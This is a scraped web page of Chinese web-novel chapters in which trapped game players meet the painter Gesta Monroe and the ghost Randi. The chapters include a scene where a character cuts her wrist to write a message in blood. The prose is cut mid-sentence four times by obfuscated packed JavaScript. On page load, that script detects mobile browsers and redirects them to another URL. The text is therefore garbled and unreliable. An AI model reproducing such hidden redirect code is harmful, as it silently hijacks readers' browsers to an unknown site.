;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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对方不回答,那就是默认,说明她想对了,于是她得意起来,“但我记得你哦,你是雷铭。你是一开始就在这间画室里吗?我跟柳州与还有祁晚她们都在外面……你知不知道怎么出去?我得出去找她们。” 雷铭:“……” 他的脑子快要炸了。 这一头极度醒目的非主流挑染银发,上次一起游戏还消失的莫名其妙,他当然是记得的,只是实在想不到居然还能遇见……但是她刚才说谁?柳州与?还有祁晚? 天底下居然有这么巧的事情? “这个人怎么了……好奇怪,不动了……”秋原得不到回应,于是自己唤出略缩全景图,发现略缩图里多出了画室以外的其他部分。她辨认了一下,朝着入户门走去,“这个人死机了,不管了……门应该是这里吧,我得出去。” 眼看着秋原要走,雷铭才叫住她,“我知道你是秋原,我就是有点没反应过来……你小声一点,格斯塔.门罗在二楼睡觉,你别吵醒她——你知道格斯塔是谁吧?” 秋原闻言点头,马上压低声音,“知道,原来她在这里啊。” “还有,入户门打不开,我刚试过了。”雷铭看向秋原手里的光球,有点酸,“这个东西你们都有吗?” 这么方便的东西,难道只有他没有?好不公平啊! “不是啊,我自己做的。”秋原不再朝门口走,站定看着雷铭。 雷铭:“啊?” 秋原现在对人类的语言掌握还不太好,有些东西解释起来太麻烦,倒不如直接甩出结论让雷铭自己理解。于是她又召唤了另一个光球放进雷铭手里,道:“唔,我是光民,所以会做这个——咱们先出去吧,祁晚擅长解释,让她给你讲。” 雷铭:“啊?” 云里雾里的说什么呢? 求求您说话的时候别这么沉浸在自己的世界里行吗? 40. 肖像(8) 花园里起了微风,柳州与浑身是水,有些冷,打了个喷嚏。 祁晚提起自己的外套,“我衣服也是湿的,没法给你穿……咦?” 柳州与:“没事,我不冷。咋了?” “我衣服干了。”祁晚一脸错愕地对自己的外套上下其手,“明明刚刚才从水里拿出来……已经干透了?” 于是她把外套递给柳州与,“啧,干这么快……那你先穿着吧,别冻着。把你外套给我。” 柳州与脱下自己的湿外套,穿上祁晚的干外套,“谢谢嗷……暖和多了。” “你别再失智把头往冷水里杵就行。”祁晚拎着湿衣服走向喷泉,“不知道外星人懂不懂手语……咱们得跟秋原表达一下,让她拿到情报了就先出来。希望沾水以后里面也能看见咱们。” 柳州与裹着祁晚的衣服,点了点头,心说不愧是一米八的人的衣服,她穿上像裹了个毯子,那叫一个暖和。 她没跟着过去,自己窝在“对称轴”旁晒太阳,看着祁晚的背影。 然后祁晚猛地停在了喷泉边。 这就是最后一眼了。 下一秒,她被狂风吹得睁不开眼,然后被风吹得后退,只能死死靠在“对称轴”上坐倒。 那一下的风压简直可怕……柳州与被这一下吹得暂时无法呼吸,一口气差点没上来,过了好半天才回上来气,“……唔哈!” “吹死我了……”她扶着“对称轴”站起来,因为短暂窒息,脑瓜子嗡嗡直响,“我的天,怎么了啊……” 不远处,祁晚躺在地上。 那么大的冲击,她位置靠后尚且还好些。祁晚可是站在前面,承受了一波迎面痛击!该不会已经…… “祁晚……怎么不动?”她顾不得自己,立刻想过去看看,“祁晚!祁晚!怎么样?还活着吗?” “……还活着吗?我的天,倒是没到那地步……”祁晚单纯就是在哪里摔倒就在哪里躺下,未免柳州与担心,很磨叽地起了身,大声道:”我没死!不是,死了。哎呀算了——反正我没事!你别过来!” 柳州与停在原地,“啊?” 祁晚:“你现在靠墙站好,蹲好也行。反正保护好自己,我再试一次。” 柳州与不知道她要干嘛,但听从指挥。 顺便有点惊叹祁晚的强度——这么大的冲击都没事,看起来还精神抖擞的,真是强壮的女人。 祁晚再次走向喷泉。 “呼——” “咚——” 就在祁晚迈步走向喷泉的一刻,花园里再次鼓起狂风,柳州与再次被怼在“对称轴”上。这次的冲击力比上次要大,她再次无法呼吸,程度比上次重,感觉肺里已有的空气都被挤出去了。 “咚”的那一声则是祁晚被吹飞,然后撞在了“对称轴”上。 柳州与勉力睁开眼,见祁晚一脸生无可恋地躺在地上。 “喷泉过不去。”祁晚举起手里的外套,“有人不想让我们过去取水。你的外套现在也干了,一点水都不给留啊这是。” 柳州与:“你还说话呢?你没事吗?” “我没事。”祁晚坐起来,但懒得站,“我要怎么才能跟你说明白呢……咱早都死翘翘了。咱现在是魂,灵魂,精神体,懂吗?不会受伤的。” “你的头发也已经干了吧?”反正本来也没指望柳州与马上就懂,祁晚继续道:“虽然不知道是谁,但ta不让咱们取水用水的目的很明显。容器全炸掉,现在连衣服都不让用……估计你的头发也已经干了。” 柳州与摸了摸头,“啊,真的干了。” “那这样的话……”她倚靠在“对称轴”上,意识到了什么,“秋原不就回不来了吗?” “想点别的办法吧。”祁晚道:“这个游戏的难度可能就在这:找不到游戏boss,而且只要发现一点线索,就会有人阻止我们。有秋原这小bug在也不行,还是很难赢。” 说是要想别的办法,可是,能有什么办法? 祁晚的外套实在太大,穿着有点热,于是柳州与脱掉外套,也原地坐下,“能有什么办法呢?” 祁晚目光炯炯地看着她。 柳州与:“你要干嘛?” 祁晚这状态莫名地有点熟悉——她在哪见过来着? 祁晚:“你有口水,呃不……有唾液吗?痰也行。你不抽烟吧?黄痰不行,怕不透光。” 柳州与:“烟肯定是不抽……干嘛啊这是?” 祁晚:“需要水嘛,是水就行——有点奇怪,我现在口干舌燥的,一点都挤不出来。” 柳州与:“有点恶心了啊?!” 这人究竟有没有形象的?刚才那个表情果然是在冒坏点子,跟在狼羊游戏时一样!这人能不能有点身为美女的自觉?别总干这么惊世骇俗的事行吗?稍微体面一点也行啊! 祁晚:“在乎那么多干什么?啥都不干是要等着输吗?” 柳州与惨不忍睹地闭上眼睛,“……我也没有。” “那就只能用别的了。唔……总得试试吧。”祁晚开始在“对称轴”边的草丛里扒拉。 柳州与:“你找什么?” 祁晚从草丛里翻出了几片碎瓷片,挑了其中比较锋利的一片,照着自己的手腕比划,“这个果然还在,血不透明,不能靠反光了,不过有颜色——你觉得写字里边能不能看见?” 柳州与猛地扑过去拉住她的手,“你别?!我去找找别的,用花草都行。不至于要……” 祁晚:“我猜咱们已经离开不了这里了。” 柳州与拿走她手里的瓷片,转身离开,然而走出不到三步,果然被一阵狂风拍了回来。 这次没摔,祁晚接住了她。 “你这话不该说出来的。”祁晚叹了口气,道:“你说了我才想起来还可以用青草,但你刚才说出来了,那我估计草也已经不能用了。” 柳州与不可置信地去拔自己脚边的青草,脆弱的青草在此刻变得无比坚韧,她使上全身力气也纹丝不动,“是真的,怎么会……你怎么知道?” 祁晚:“看起来想拦咱们的人就在这里,咱们说的做的ta都知道。只是咱们看不见ta,ta也不想跟咱们交涉。” 柳州与遍体生寒,“那你想用血肯定也不行。ta不是都知道了吗?” 祁晚嘴角露出一丝笑容。 柳州与不知道她为什么会在这个时候笑,只是莫名地觉得有些诡异,“你……” 碎瓷片在空中划出一道血线。 “虽然我好像被放弃了。”祁晚蘸着自己手腕的血开始在“对称轴”上写字,“但在被放弃之前,我也是学到了点东西的。” 虚空中,好像有人在发出不甘心的嘶吼。耳边听不见声音,这声音像是直接输进人的脑子里,让人觉得又吵又烦躁。 柳州与产生了一种想打人的冲动,祁晚凭什么总说她脑子不好使?还说要教她什么?有什么好教的?反正她现在正在很认真的写字,没注意身边,她要是现在把她打晕,然后把她丢进喷泉里……完全可以。 在这个念头出现的一瞬间,柳州与吓了一跳,把自己吓醒了——她刚才在想什么? 祁晚好像比她平静得多。 “喊也没用,闭嘴吧。”祁晚腕间血汩汩地流着,她则一笔一划地写着,淡淡道:“好歹我身体的一部分,我自己的东西我还是能控制的,你擦不掉。” 像是明白了什么,无声的嘶吼停了。 有了血字,“对称轴”所在的玻璃的位置就清晰起来。祁晚写字不怎么好看,笔画深浅不一,有血顺着玻璃流下来。不知是血映得还是怎样,祁晚的瞳孔有些发红,柳州与望着她,瞳孔收缩,“你……” “很早我就觉得不公平。”祁晚的声音莫名平静,跟以往完全不同,“就小镇那个世界,大家都能平淡地生活。你跟雷铭你们也是一群玩家一起做任务——凭什么只有我要一个人开辟游戏世界,还要被逼着学东西?虐待似的,我不喜欢。” “结果我还真的被放弃了。”写完字,祁晚收回手。腕上的伤口却没有愈合,血顺着手臂流下,又顺着指尖又滴在地面上。 她喃喃道:“被骂了一通,说我各种不是。然后把我放弃了,随便扔进别人完了一半的游戏世界,想用就用,想放弃就放弃,呼之即来挥之即去……把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人面对着沉默片刻,祁晚看向自己的手腕,“我还记得我动手,血流出来……然后就,不记得了,就好像小睡了一觉,再睁开眼伤口就已经好了……柳州与你没事吗?没出现记忆断层什么的?” 柳州与摇头,“我有一瞬间负面情绪特别爆棚,想把你打晕然后扔进喷泉里淹死。但我很快就反应过来了,然后我想叫你,发现你不对劲。” “那你比我强啊,看来人家放弃我真是有理由的。”祁晚点点头,自暴自弃地叹了口气。 然后她望着自己在玻璃上写下的字沉思,“失去意识但还能行动,这种手段有点熟悉……好像见过……” 柳州与没打扰她,等着她慢慢想。 “绵头雪兔子……”祁晚一拍大腿,“啊!秋原!她说的被控制,是不是就是这样?咱得把她叫出来问问!” 柳州与:“……我现在弄不懂你们所有人了。” “不过应该不用急。”她看着玻璃上的“能看见吗”四个大字,道:“要是能看见,秋原肯定会想办法回应的。” 祁晚点点头,“是不急。”随后她看向柳州与,手腕上出下一条浅蓝色的数据环,感叹:“虽然完全没学会但还是能把教材找出来,我真是天才……来,小与,握个手,我把这个E级教材给你。” 柳州与心中警铃大作,把手背过去,“我不要。” 奈何她力气实在没有祁晚大,还是被祁晚把手扯了过去。祁晚笑得一脸灿烂,“又不是害你。” “你天赋好像比我好,学会这个肯定比我快。”祁晚的手比老虎钳还要稳,纹丝不动,“不会很费力的啦!你这个人的学习态度怎么一点都不积极的?” 柳州与疯狂挣扎,“胡扯!我从小到大都是学霸!你笑的也太不怀好意了?!这绝对不是好东西,己所不欲勿施于人啊懂吗!你放开我啊啊啊啊啊啊啊——” 祁晚握得更紧了,“才不要,我人都丢完了你还想跑?” 柳州与:“我都说我听不懂了啊!” 祁晚:“我不管——给我学!” 41. 肖像(9) “门打不开要怎么出去?”秋原自顾自地烦恼起来,“玻璃上也没有水了,柳州与她们怎么还不弄水来……是忘了我了吗?” 雷铭听不明白,一门心思地只想叹气。 在小镇时他没怎么跟秋原接触过,完全不知道这是个怎样的人,只觉得确实是个漂亮的姑娘。结果现在……这人的交流难度怎么这么大? 他记得一直跟这姑娘一组的是柳州与,俩人关系处得相当不错,任务也一直完成得很好……也是难为柳州与了。 “意思是玻璃上有水你就能往返吗?”他努力思考着,问道:“画室里有格斯塔洗颜料的水桶。卫生间也可以打开,应该有水。” “哦!”秋原点头,“那试一下吧。” 答非所问,但也算是表达出了肯定的意思——雷铭终于忍不住叹了口气。 他想着去卫生间的话声音会比较大,有可能吵醒格斯塔,决定还是先去画室里找用来洗画笔的水桶,“先看看这边吧,我来的时候格斯塔女士正在作画,她水桶里的水应该是经常换的……嘶——” 不看还好,一抬头真是吓一跳,方才还干干净净的玻璃上赫然出现了几个暗红色的字。 也不知道写这字用的什么颜料,暗红色的液体顺着笔画的尾端流下来。他越看越觉得这个颜色像干涸的血迹……不,不是像,根本就是,于是他没敢凑近去看。 他之前就觉得格斯塔太温和,一点不像游戏boss该有的样子。 所以,现在这东西的出现是……警告?在警告他真正的游戏boss要出现了? 居然还整了个血书,还怪有排面的。 然而见到这几个字,秋原反而高兴起来,立刻蹦哒着朝着玻璃过去,“有消息了耶!” 雷铭下意识地拉住她,“什么消息……不知道是谁干的,可能有危险,你先别过去。” 秋原很困惑地回头看他。 “是祁晚呀,她和柳州与在问我呢,问我能不能看见。”她道:“我得告诉她们里面能看见,然后咱们也在玻璃上写字试试——这样就能交流了嘛。” 雷铭眉头蹙成一团,“那是血!你不认识血吗?怎么想都不是她们两个干的吧?” 秋原更困惑了,“血怎么了?” 雷铭快裂开了,“你按常理想啊!正常人会用血在玻璃上写字吗?外面是花园没错吧,写字用花草汁不行吗?连我都看见紫藤花架了,她们会想不到吗?” 秋原恍然,“对哦。” 对哦你个大头鬼哦!? 见秋原不再有要过去的意思,雷铭放心松开她,去寻找格斯塔洗画笔的水桶。 并不难找,他很快就找到了。然后发现水是换过的,不怎么脏,可以直接用。 找到桶,他松了口气,问秋原:“然后怎么办?直接泼在玻璃上吗?” 刚才她们在外面好像就是直接泼的,但最好还是好好考虑一下,毕竟不知道会触发什么……于是他没有立刻带着桶过去。 没得到秋原的回应,他转身四处寻找秋原,道:“外面不知道是什么情况,你现在出去的话可能会有危险。咱们最好再等等,等了解到更多情况了再……” 他的话说到一半,说不下去了。 他找到秋原了。 秋原不知道从哪里拿了颜料盘和笔,不知道什么时候去到了玻璃边,连个脚步声也没有——她蹲在那里,正在写字。 他裂开了啊?! 知道外边是谁吗你就写?!什么都不考虑的吗?? 秋原蹲在那里,思索着,也不知经过了怎样一番脑回路,愉快地选择了暗红色的颜料,写道:“能看见,雷铭在这里。他说格斯塔也在这里。” “好啦!写完啦!”秋原放下笔,站起身来走向雷铭,“然后试试我能不能出去。咦?水呢?你没拿来啊?” 雷铭脚步沉重,心情更沉重。他警惕地看着玻璃,也顾不得礼貌了,直接拽住秋原的泡泡袖,拉着她往外走,“我真是服了……还水呢?不知道你在想什么……咱们准备跑吧。” 秋原开始挣扎,“那就是祁晚……肯定是的!” 泡泡袖太脆弱,雷铭怕拽坏,于是改拽她的手臂,“祁晚她……绝对没有那么不正常!走啊!” 秋原像条不想回家的柴犬,把自己钉在原地不肯动,全身发力:“唔……不……” 这边两人角着力,那边,玻璃上的血字瞬间消失。 雷铭更着急了,“你怎么这么犟啊?!” 玻璃上汇聚出新的血字。 这次的字体比上次小很多,而且出现得很快,不知道是怎么做到的,不像是手写能有的效果。 【那太好了,不过你先别出来,有情报你直接写给我们就好。】 【雷哥也在啊,真巧。】 【那你们一起看看有没有办法把我们也接进去,外面有人在阻止我们做任务。】 【我现在状态不太好,有点动弹不得……而且就算能动也没法离开这个位置。】 【光靠写的说不明白。总之就是情况不太妙,你们加快速度想办法,得靠你们俩了。】 雷铭:“……” “就是她们哦。”秋原挣开雷铭的手,自己找到水桶走向玻璃窗,又惊觉放下水桶,“啊,她们叫我别出去……那怎么办?外面怎么样了?” 然后她回头看雷铭:“她们让咱们一起想想办法。你有没有办法?” 雷铭不想说话,他快要停止思考了。 怎么就能想到用血写字,谁的馊主意……外面那俩人到底是什么脑回路?简直离谱……不对,柳州与不会干出这种事情,八成是祁晚。 他真是又对祁晚刷新了新的印象。 如此想着,他面无表情道:“现在打不开的有两扇门,一个是一楼的书房门,一个是入户门。能打开入户门就能让她们进来;打开书房门不知道能怎么样,但早晚得开。咱们先想办法打开其中一扇。” 秋原:“嗯嗯!那听你的啦!” 跟雷铭出门前,她又跑回玻璃边写了几个字。 【雷铭说屋子里有两扇打不开的门,我们现在去看看。】 玻璃上的血字换了形状:【好。】 临走前,秋原突然想起什么,召唤出自己的略缩图景看了看。 雷铭被她掌心涌现出来的光吸引,也看过去。 不知为何,现在略缩图景比他方才见到时要大了许多,还多出来很多画面。 别墅内的场景他都已经见过了,秋原看着他,眨了眨眼,将画面切换到别墅外的全景,“唔,不知道为什么,这些突然又都能看见了……你看看这些?” 二层别墅外是阳光明媚的花园。花园中心有一座喷泉,顺着喷泉向南,秋原的指尖来到某处靠着围墙的地面,那里有一道地窖门。 拉开地窖门往下,是漫长而黑暗的旋转地下楼梯,然后是堆满颜料和书籍的地下室……为什么还有把烧焦还散架了的椅子? “我们一开始就略缩在这个地下室里找到的柳州与。”秋原贴心地解释道:“后来我们弄明白了,是兰迪把她绑起来的扔在那里的。” 雷铭简直不知道该先看哪边好,“兰迪?是画上的那个兰迪?”亡灵居然有两个? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271539|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 秋原点头:“是,略缩图还有呢。你接着看。” 地下室另一边还有门,再打开门出去,是一条画廊。 画廊看起来很破败,光线昏暗,四处都是灰烬,被不知从何而来的微风吹动,在走廊里四处翻飞。 秋原继续道:“我和祁晚一开始在这里。你看,画廊里全是兰迪的画像,都是在她的生日画的……我跟祁晚在这里捋顺了时间线,你看,就是这样……我们还发现格斯塔死前得了阿尔茨海默症,她应该是失忆了……你遇见过她了,是这样吗?” 雷铭这一波把他落下的情报全补上了,垂眸颔首,“对,格斯塔女士确实是失忆了。” 然后他自己伸手过去,将整个略缩图景缩小。 “你要看什么?”秋原问:“我给你找。” “不用。”雷铭眯起眼,看着某一片依然是灰色的空位,“这个位置,这里不对……这张略缩图应该不全吧?” 秋原:“规则所限,我没去过的地方看不到,断开联系的话图景也会丢失……这里不对?为什么?” 雷铭:“我对建筑略通一点……看这里的结构,这间地下室应该还有条通道,能通往别墅内的。” “这个布局……那条通道会在书房的位置开门。”雷铭来来回回地放大缩小整个略缩图景,更仔细地看过去,“幸亏有这东西,我看明白了。” “想出去不一定要开入户门,打开书房门一样可以。而且从地下走的话,也不容易被发现。” 秋原:“哦——” 真是靠谱的男人啊——跟祁晚和柳州与一样靠谱。 秋原觉得自己这场游戏胜利在望,于是拿起画笔和颜料在玻璃上又写了一句话。 【注意下地下室入口,那里也许可以走。】 …… 花园。 柳州与瘫倒在地上。脸色苍白,目光呆滞,神情空洞,四肢无力任人摆布,如同失去了灵魂的人偶。 祁晚蹲下,戳了戳她的脸。 没反应。 完蛋,这人不会废掉了吧…… 在一系列唤醒动作均宣告失败后,她开始给柳州与做心肺复苏。 强大且高频的冲击力下,柳州与觉得自己的心脏要炸了,是真的要死……强烈的濒死感中,她终于勉强抬起手,很虚弱地阻止了祁晚,“你在干什么……停下……不要按了,我没事……” 再按下去她才是真的要死了。 她抬起的那只手的手腕上也出现了一个浅蓝色的数据环,显示着进度100%,但没有蓝条。 柳州与没事她就放心了——祁晚松了口气,查看自己的数据环:进度12%,蓝条满的。 然后她将两人的数据环对比了一下。 仔细看,柳州与的数据环并不是没有蓝条……它只是空了,深蓝色只剩下不到10%的一点点,空掉的部分是跟数据环相同的浅蓝色,所以才看不见。 就是,这个进度…… 她凝视着那个100%,还有几乎见底的蓝条。 精神力低到这个程度怎么看都相当很不妙,还有这个数据…… “是真实数据吗?”她忍不住把动弹不得的柳州与提起来,摇了摇,“你真学完了?喂?是教材出问题了吧?” 柳州与极度虚弱,说话只余气音,“别摇了,我学完了。又不难……就是好累啊,为什么会这么累……我要死了你快放下我……” 祁晚动作尽量轻地将她放倒,陷入沉默。 什么叫“又不难”? 不难??? 那她的12%是为什么啊? 42. 肖像(10) 过了许久,柳州与才终于坐起来。坐起来的过程很不顺利,半身不遂似的。 看起来挺要死的。 祁晚想了想,伸手扶她起来。 “谢谢。”结果柳州与立刻顺势倒进她怀里,目光落在那几个丑的一批的血字上,“你这个教材还真有用……就是太虐了……啊,秋原在下面写了她能看见,你没看见吗?” 祁晚:“我光注意你了……她怎么写得这么靠下?” 秋原把字写在这么低的位置,还真得躺着的柳州与才能一眼看见……而且这是刚写的吧? 柳州与不再回应,而是继续看着祁晚写的那几个丑字。她目光所及之处,玻璃上的血迹汇成一团,又抽丝成缕地变作笔画,组合成了新的字迹。 祁晚人都傻了,“你……” 柳州与好不容易升回30%的蓝条再一次掉下去,“这个教材,真有用啊……但是好虐……真的不难,但是真的好虐啊,太费力了……根本就撑不住,用不了多久……我头好痛……” 祁晚:“……” 祁晚:”不然我把我的蓝条给你一点吧,或者恢复速度给你一点也行。” 柳州与:“……什么东西?干嘛?” 祁晚:“我拿着挺没用的。” 柳州与:“?” 祁晚:“我居然真的是废物啊。” 柳州与:“?” 这人,咋了?为什么突然破罐子破摔了? 秋原很快给出新的回应【雷铭说屋子里有两扇打不开的门,我们现在去看看。】 柳州与只得先回了一个【好。】 这么一回她顿时更没力气了,甚至没力气开口问祁晚到底怎么了。 不过,就算她问了,祁晚大概也没心思说:就算祁晚有心说,她大概也没力气认真听。 算了——她很疲惫地将自己整个人放空:还是老老实实休息吧。 她就这么躺着,鼻端是祁晚身上的味道和花园里弥漫的花草清香,掺杂着几丝喷泉的水气。祁晚半搂着她,坐在那里发呆。 花园里依旧安静,只有喷泉的水声,现在连微风都不再有了。 本以为秋原跟雷铭已经离开了,结果玻璃底部又现了新的字迹。 【注意下地下室入口,那里也许可以走。】 看见这句,柳州与眼神一亮——居然这么快就有进展! 于是她怼了怼一脸绝望且眼神空洞的祁晚,感觉自己恢复了一点,比之前有力多了,“里面有消息了,咱们最好去地下室入口看一看……” 祁晚眼神依然空洞,但动作很麻利,直接将柳州与打横抱起,还掂了掂,“行,你做好准备,阻拦咱们俩的人可能会再出现。咱们能不能走出去就靠你了。” 毕竟她什么都不会,而人家几分钟就能学完的东西她硬是学了两个世界都没进展。 被那黑衣人一通贬损也是应该的……要是林老师在这里只会损她更狠。林老师虽然很温柔,但其实很会阴阳怪气呢……书雪肯定也会笑话她的,毕竟她亲爱的闺蜜不仅武力值高还一直成绩优异…… 越想越绝望啊! 柳州与这辈子还没被人这么麻利地抱过,也没被这么坚定地托付过。感觉自己此刻的心情很奇妙,安全感和保护欲混杂在一起,“我尽量……不,交给我。” 祁晚横抱着一个人,居然还能腾出手,比了个大拇指,“靠谱小与。” 柳州与:“你表情好奇怪啊?快别夸我了……是在夸我吗?” 祁晚:“我是作为学渣在表达对学霸的赞美,是很诚心地在夸你。” 祁晚:“我表情有什么奇怪的?学渣对学霸的赞美就是这样的。你没当过学渣,你不懂。” 柳州与木然,“我是不懂。” 祁晚:“我也不懂学霸为什么会把自己的头扎进冷水里,有助于思考吗。” 柳州与:“咱能不提这个事了吗?” …… 画室。 “先去书房吗?”秋原问道。 雷铭想了想道:“都行……书房离得比较近,那就先去书房吧。虽然这两扇门我都打不开,但我打不开的你不一定打不开,咱们得把两扇门都试试。” 秋原点头,准备起身,“那就走……” “咔哒。” 画室的门开了。 格斯塔打开画室门,看见画室里的人,神色间带着一点待客不周的歉意,“啊……雷先生已经起来了吗?怎么没叫我?我睡得有点久了,真是不好意思……” 说完话,她才看见蹲着的秋原,顿时有些错愕,“还有,这位……这位小姐?是什么时候来的?” 雷铭顿时冷汗就下来了。 …… 花园。 祁晚刚走出去不到五步,园中就卷起狂风。 “唔……”有了前两次的经验,她努力将自己钉在原地,顺便将柳州与护在怀里,“ta现在肯定来了……” 那种令人心烦但无声的嘶吼再次响起,祁晚的眼睛又开始发红。好在这次没受伤,失去意识的速度没那么快,她终于意识到是什么在影响她,但还是无法抵抗。 感受着自己的意识飞快消失,她迅速道:“原来是这样……小与我跟你说,我有点扛不住。你加速找,不然待会我可能又要失控……快点!” 柳州与很艰难地睁开眼,揪住了祁晚的耳朵,反手就拧,“你挺住!” 祁晚疼得清醒了一瞬:“好疼!” 狂风中,柳州与完全不知道那个所谓阻拦她们的人在哪里,对方在暗她们在明,想靠眼睛找出来也不可能…… 她脑海中蓦然出现一个画面,是她刚来到这里时的画面。 她出现时是在围墙边,手边就是爬山虎的叶子。那时她还不知道她的名字,只知道一个很美的金发女人坐在紫藤花架下的秋千上,秋千微微摇动着。她似乎在小憩,双目合着,午后的阳光顺着紫藤花的缝隙落在她金色的长发上,如同碎金。 那一瞬间,她仿佛见到美神降临。 如果后来这位美神没有把她绑起来扔进地下室就更好了。 凭着直觉,她看向紫藤花架。 一抹碎金划过她模糊的视线——在那! 她的蓝条刚恢复到39%……只能希望够用了。 祁晚的视线几乎被暗淡的红色完全侵占,疼痛的作用越来越差,她很快就会完全失去意识,现在她就已经连疼都感觉不到了……柳州与怎么还不快点…… 下一秒,仅剩的视线里,她看见几条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292782|163064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 银丝从她怀里伸出,缠向紫藤花架不远处的某处。 紫藤花架不知原因变成灰色,已经无法靠近了,没想到阻拦她们的人居然也跟她们一样,只能待在灰白区域的附近。 银丝速度很快,中途还一直快速地改变着方向,居然是在追踪,很快就卷住了什么。 嘶吼声立时停止,狂风也戛然而止,柳州与一口气没撑住,彻底昏死过去。 在银丝盘桓的地方,女人显出了身形。 是兰迪.门罗,跟画上一样。 那真是个很美的人。 碧蓝色的眼睛比海水更透亮,长及腰间的金发比花园里的阳光更耀眼——祁晚本以为那些画就已经足够美了。但当兰迪.门罗真的出现在她面前,她意识到,那些画根本不足以展示兰迪的美。 形容词很俗,但除了这些词,也没别的可用。 这样的美人出现在面前,真是震撼。 尤其个子还特别高——祁晚难得见到能跟自己平视的女人。 柳州与人昏过去,丝线却还在,也不知道她是怎么做到的。兰迪一时间无法再隐去身形,美丽的脸上浮现出浓浓的懊恼。 祁晚想了想,把柳州与放到草坪上。 ——柳州与这东西是她豁出命去弄的,也确实能限制住兰迪,但不知道能坚持多久,她必须要快。 交涉不可能,要是能交涉,兰迪早就来找她们了,也不会拼尽全力隐藏自己还阻止她们。既然不能交涉,那就只能动用武力。 抱着柳州与不方便行动,只能放下,不过无所谓。她会在兰迪伤到柳州与之前制住对方。 就现在,抓住兰迪! …… 画室。 秋原看了看画室门口的女人,又看了看雷铭,问道:“这就是格斯塔.门罗?” 雷铭真想求求她,都这种时候了,称呼就礼貌一点吧……他很痛苦地点头,“对,是……” 然后他对格斯塔深深鞠了一躬,语速快而不急,不容打断,“抱歉,格斯塔女士,这位是我朋友,叫秋原……” “我想着,您正在休息,怕打扰您,带她进来的时候就没立刻叫您。我本来想着等您醒了就马上过去告知您的,没想到错过了时间。真的抱歉,作为客人我实在不该擅自做主,实在是失礼……” 格斯塔也微微躬身,语速慢而有理,不容打断,“没有没有,我才是不好意思。” “我实在不该把您抛下这么久自己去休息,还害的您独自纠结思考了这么久。一开始我也没有弄清楚客人的数量,忘了您还有带朋友的需求,这是我作为主人家的失职……” 秋原在记数据。 这些对话她要放进汉语语言资料库里,感觉会有用。 “啊,对了,请问秋原小姐需要什么吗?”两方道歉完毕,格斯塔询问秋原,“还有,您是跟雷先生一样,来帮我的吗?” 雷铭低头向秋原解释,“我来的时候就告诉过她了,我是来帮她找回‘所失去’之物的。你也是,你就这么说就行……” 秋原仰头看着他,点点头,眼神异常清澈。 雷铭有种不详的预感,比见到祁晚时还要不详。 这个眼神……跟他们单位新来的实习生要闯祸时的眼神好像啊? 43. 肖像(11) 秋原在那一瞬间好像变成了光,他根本来不及抓住,然后,她出现在了格斯塔面前。 格斯塔惊住,“秋原小姐?” 秋原看着她,笑:“刚才雷铭跟我说有两扇门打不开,书房们和你家入户门。我们要出去,你帮我们开一下门,还有两个玩家在外面呢,我要让她们进来——你顺便也去花园和地下室看一看嘛!” 格斯塔:“啊?” “兰迪之前就在花园里,你要是出去的话,她也许会再出现呢,见到她你肯定会想起来什么的。”秋原径直走向入户门,回头招呼愣住的格斯塔,“走嘛。” 格斯塔:“……啊?” 雷铭一巴掌扇在自己脸上。 毁灭吧,他想,这游戏玩得究竟有什么意思?趁早都毁灭吧,他认输了。接下来格斯塔要是突然暴走把他们都干淘汰他也不会说什么—— 格斯塔很懵。 格斯塔没有暴走。 她道:“抱歉,我没有记忆。兰迪……雷先生也提过她,但我不记得她是谁了。而且,这里是我的家,我不记得有什么花园和地下室,我不明白您为什么会在我家说出我都不知道的设施。” “而且我也不想出门。” 说到这里,她皱起眉——不知为何,她心里有个声音一直在告诉她,她不能出去。 而且,那个声音很像她自己的。 至于为什么不能出去,不知道。 秋原没成想会卡在这里,一时语塞,“可是……” 雷铭立刻出来接话,”是有的!我只是没来得及跟您提!她是跟我一样来帮您的,只是她不太会说话,所以表达可能有点问题,我们都没有恶意的!” 格斯塔皱起眉头,“你们的要求我不能理解。” 雷铭:“请相信我们!” 沉默。 沉默许久,格斯塔瞄到了自己的画。 虽然已经记不起来了,但画上的人真的很让她怀念。于是她又犹豫了起来,看向秋原,“我要是按你说的做,能想起来兰迪是谁吗?” 太好了!没有暴走!雷铭暗自庆幸,然后开始做口型,希望秋原能理解:说能!你说能就可以了! 秋原看见了,但完全没理解,一脸理所当然,道:“不知道。” 雷铭:“……” 他还是趁早琢磨下一场要怎么赢好了。 格斯塔也呆住了,“这……” 秋原继续道:“但是得试试——不试的话谁也不知道会怎么样。外面那两个玩家很厉害的,就算按我说的不行,她们也肯定能帮你。” 峰回路转。 